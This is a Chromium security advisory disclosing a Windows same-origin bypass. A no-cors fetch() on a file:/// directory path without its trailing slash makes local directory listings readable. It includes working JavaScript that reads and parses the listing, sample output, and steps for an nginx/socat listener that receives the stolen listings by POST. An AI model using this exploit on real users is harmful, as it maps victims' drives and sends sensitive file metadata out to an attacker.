Chromium

VULNERABILITY DETAILS
Chrome (and other Chromium-based browsers) on Windows are vulnerable to an information disclosure vulnerability by way of a limited SOP bypass on no-cors fetch() requests for local directory listings which can be triggered from local html files. These local html trigger files can be delivered (prompted to download/open) directly to a victim from a site or an email client and do not present warning messages as html files are not present on most file extension blocklists. The vulnerability appears to only be present on Chrome and other Chromium-based browsers running on Windows; I did not exhaustively test other OS other than Linux. The latest version of Edge was also confirmed vulnerable using the exact same exploit.

Chrome treats each 'file:///' page as its own origin and isolated tab, and so attempts to retrieve the contents of other local files or directory listings returns an error indicating that SOP/CORS restrictions have prevented the request. Here is an example of proper enforcement:

t=await fetch('file://C:/users');  
dirbleed.html:1 Access to fetch at 'file:///C:/users' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome, https, chrome-untrusted.  
t=await fetch('file://C:/users/', {mode: 'no-cors'});  
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}  

From my research, I have discovered it is possible to bypass this protection by using a 'no-cors' fetch() call on a file:/// directory URL and omitting the trailing slash for the directory path for the URL. This results in a redirect to the file:/// URL containing the proper trailing forward slash, but in doing so the response type turns from 'opaque' to 'basic'. For example:

t=await fetch('file://C:/users/', {mode: 'no-cors'});  
Response {type: 'opaque', url: '', redirected: false, status: 0, ok: false, …}  
t=await fetch('file://C:/users', {mode: 'no-cors'});  
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}  

Given the new response object type is 'basic', it can now be read from to retrieve the directory listing of any arbitrary directory path. From what I can tell, this is completely against the spec for 'no-cors' fetch() - all response objects should be 'opaque'. Each file entry in the directory listing contains the entry's name, timestamp, size, and whether or not the entry is a directory. Below is a minimized test case, demonstrating exploitation of the vulnerability from a file:/// context:

t=await fetch('file://C:/users', {mode: 'no-cors'});  
  
Response {type: 'basic', url: 'file:///C:/users/', redirected: true, status: 0, ok: false, …}body: ReadableStreamlocked: false[[Prototype]]: ReadableStreamcancel: ƒ cancel()getReader: ƒ getReader()locked: falsepipeThrough: ƒ pipeThrough()pipeTo: ƒ pipeTo()tee: ƒ tee()constructor: ƒ ReadableStream()Symbol(Symbol.toStringTag): "ReadableStream"get locked: ƒ locked()[[Prototype]]: ObjectbodyUsed: falseheaders: Headers {}ok: falseredirected: truestatus: 0statusText: ""type: "basic"url: "file:///C:/users/"[[Prototype]]: Response  
  
let result = '';  
const reader = t.body.getReader();  
while (true) {  
    const { done, value } = await reader.read();  
    if (done) {  
      break;  
    }  
    result += new TextDecoder("utf-8").decode(value);  
  }  
const lines = result.split('\n');  
console.log(lines.filter(line => line.includes('addRow')))  
VM5484:1 (7) ['function addRow(name, url, isdir,', '\x3Cscript>addRow("All Users","All%20Users",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Default","Default",1,0,"0 B",1701939525,"12/7/23, 12:58:45 AM");\x3C/script>', '\x3Cscript>addRow("Default User","Default%20User",1,0,"0 B",1575711039,"12/7/19, 1:30:39 AM");\x3C/script>', '\x3Cscript>addRow("Public","Public",1,0,"0 B",1701929253,"12/6/23, 10:07:33 PM");\x3C/script>', '\x3Cscript>addRow("user","user",1,0,"0 B",1702055666,"12/8/23, 9:14:26 AM");\x3C/script>', '\x3Cscript>addRow("desktop.ini","desktop.ini",0,174,"174 B",1575709962,"12/7/19, 1:12:42 AM");\x3C/script>']  

The impact of this vulnerability is that an attacker can effectively map a victim's hard drive, checking for the contents of directories which may reveal sensitive pieces of information. Examples include: 3rd party software installed, file versions based off timestamp and file size, windows update timestamps, list of drivers, browser extensions, paths randomized for security reasons such as temporary or appdata files, credential file locations, list of recent files, and other potentially sensitive filenames. For example, an attacker may crawl source code or document folders to obtain paths and metadata. This can also be used to perform directory listings against UNC paths, including enumerating currently mounted drives (E$-Z$) and their directory contents. The partially weaponized exploit performs the enumerations listed above, as well as parsing entries to perform crawling for directories one level deep, it then POSTs it back to a webserver server over HTTPS.

REPRODUCTION CASE
I have provided a video of exploitation from my site as well as the html trigger file containing the exploit used.

1. modify the html to point to your own HTTPS* listener (postURL variable)
2. setup a simple nginx+socat listener to handle the HTTPS request:
   • location /dirbleed/push { proxy_pass http://127.0.0.1:8888; } in your nginx config
   • socat to catch the JSON formatted directory listing on the webserver: socat -T5 TCP4-LISTEN:8888,fork,reuseaddr STDOUT
3. open the html file on a Windows host and observe the socat window scrolling for a little while (exploit not optimized for speed)

VERSION
Chrome 120.0.6099.225 (Official build) (64-bit) On Windows 10 22H2 - vulnerable
Chrome 106.0.5249.119 (Official build) (64-bit) On Windows 10 22H2 - vulnerable
Chrome 88.0.4324.146 (Official build) (64-bit) On Windows 10 22H2 - NOT vulnerable
Edge 120.0.2210.133 (Official build) (64-bit) On Windows 10 22H2 - vulnerable

CREDIT INFORMATION
Matt Howard